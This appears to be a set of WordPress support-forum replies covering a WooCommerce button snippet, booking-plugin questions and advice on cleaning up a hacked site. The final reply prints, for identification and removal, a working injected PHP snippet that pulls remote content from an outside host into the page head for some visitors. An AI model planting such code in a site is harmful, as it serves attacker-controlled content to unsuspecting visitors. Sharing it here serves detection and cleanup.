Woz Gekko

Thanks, however I got it working with –

add_action(‘woocommerce_after_add_to_cart_button’, ‘cmk_additional_button’);
function cmk_additional_button() {

if ( is_product() && has_term( ‘Commercial Gym Equipment’, ‘product_cat’ ) ) {
echo ‘<button type=”submit” class=”button alt”>Commercial Finance Available</button>’;
}
}

Thanks for your reply

Its ok, found it on line 214 ??

Any update on how to do this on the latest version?

Has this changed on the latest version of the plugin?

At the line 175 public static function getIntervalItemsShort()

Im seeing minutes and hours, not days or months.

Can I set the booking range further than 3 months, like 6 or 9 months on the newest version of the plugin?

Yes me too, need this ASAP please

Yes I second this, would be very useful for our clients

ok great, thanks

Thanks guys ??

Thanks for the reply, however is there any fix I can apply now as we have a client waiting on this as part of a new website?

Once fixed, we have no problem upgrading to Pro ??

Using 3.0 btw

Hi,

You can disable a plugin by simply renaming the plugin folder. for example you could disable ‘woocommerce’ by renaming the folder ‘woocommerceOFF’. This can be done via FTP and has no need for PHPADMIN. This way you can disable each plugin and see if there is a conflict.

Also, do you take regular DB backups, you could try refreshing to an earlier copy.

Secure your sites with some good WP security plugins.

For example –

Better WP Security
Sucuri Security – SiteCheck Malware Scanner

You could also update you main admin and FTP passwords as an extra precaution

Also over the next few days, regularly check your site files by FTP, you will notice the times and dates that certain files have been altered, if you didn’t update them, investigate further..

Also, only use plugins etc from trusted sources, we used a plugin forwarded to us from a third party and that’s how we got infected.

No problem, glad to help ??

We had this problem and it had nothing to do with the w3 cache.

This is the code you are looking for

[code] if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "https://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}} [/code]

Download all of your site files via FTP, then download a program called ‘FileSeek’ (its free).

Set it to scan your site files for the term ‘https://spamcheckr.com/l.php&#8217;

You will find the infected files and remove the instance of ‘https://spamcheckr.com/l.php&#8217; and the surrounding malicious code.

I hope this helps someone. Good luck.